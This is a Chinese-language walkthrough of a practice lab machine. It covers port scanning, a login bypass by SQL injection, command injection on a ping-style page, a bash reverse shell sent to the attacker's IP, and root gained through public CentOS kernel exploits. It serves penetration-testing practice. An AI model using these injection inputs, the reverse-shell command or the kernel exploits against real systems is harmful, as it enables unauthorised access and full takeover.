简介
靶机较为简单,通过登录页SQL注入漏洞登录管理页面,然后利用命令注入漏洞获得Web Shell,最后利用内核漏洞提升至root权限。
信息收集
使用fping -agq 192.168.0.0/24探测局域网内其它主机,发现目标主机IP地址,如图:
然后使用nmap --min-rate 10000 -T5 -A -sC -p1-65535 192.168.0.130快速扫描目标主机开启的端口与服务,发现开启22,80,111,443,631,868和3306端口,分别运行着OpenSSH 3.9p1,Apache httpd 2.0.20,rpcbind,https,CUPS1.1,RPC和MySQL服务,操作系统可能为CentOS 2.6,如图:
使用SearchSploit搜索openssh 漏洞如图:
使用Google搜索631端口运行的服务CUPS/1.1漏洞,发现存在缓冲区溢出、本地权限提升和任意文件覆盖漏洞,使用SearchSploit查找漏洞利用程序,如图:
漏洞发现
使用dirbuster扫描80端口和631端口目录时未发现有用的信息,使用nikto扫描漏洞时也未发现存在SQL注入漏洞,虽然631端口允许PUT方法,但是由于目录没有权限,故无法上传文件。使用漏洞数据库中openssh的漏洞利用程序无法获得shell。然后访问80端口Web服务,发现是个简陋的登录页面,如图:
在源代码中发现网页提交登录信息到index.php,且有一句注释像是提示,如图:
SQL注入漏洞
使用单引号测试SQL注入发现页面没有任何变化,尝试使用用户名‘=’和密码‘=’登录成功,如图:
可见这里存在SQL注入,使用sqlmap测试时,在level=3,risk=2的条件下发现uname参数存在SQL注入漏洞,如图:
但是权限较低,无法通过SQL注入获取root用户密码和shell。
命令注入漏洞
在登录后的页面测试是否存在命令注入漏洞,使用127 & id测试,成功执行命令,如图:
漏洞利用
利用命令注入漏洞通过bash -i >& /dev/tcp/192.168.0.128/4444 0>&1反弹shell,如图:
权限提升
查看内核版本,发现是2.6.9-55,如图:
使用searchsploit查找centos 2.x的内核提权漏洞利用程序,如图:
将9545.c上传到目标主机,编译后执行,成功获得root权限,如图:
同样,将9542.c上传到目标主机,编译后执行,成功获得root权限,如图:
总结
该靶机没有花太多时间,在SQL注入以及尝试使用其他方法提权上花的时间比较多,但最终未找到除内核漏洞提权外的其它方法。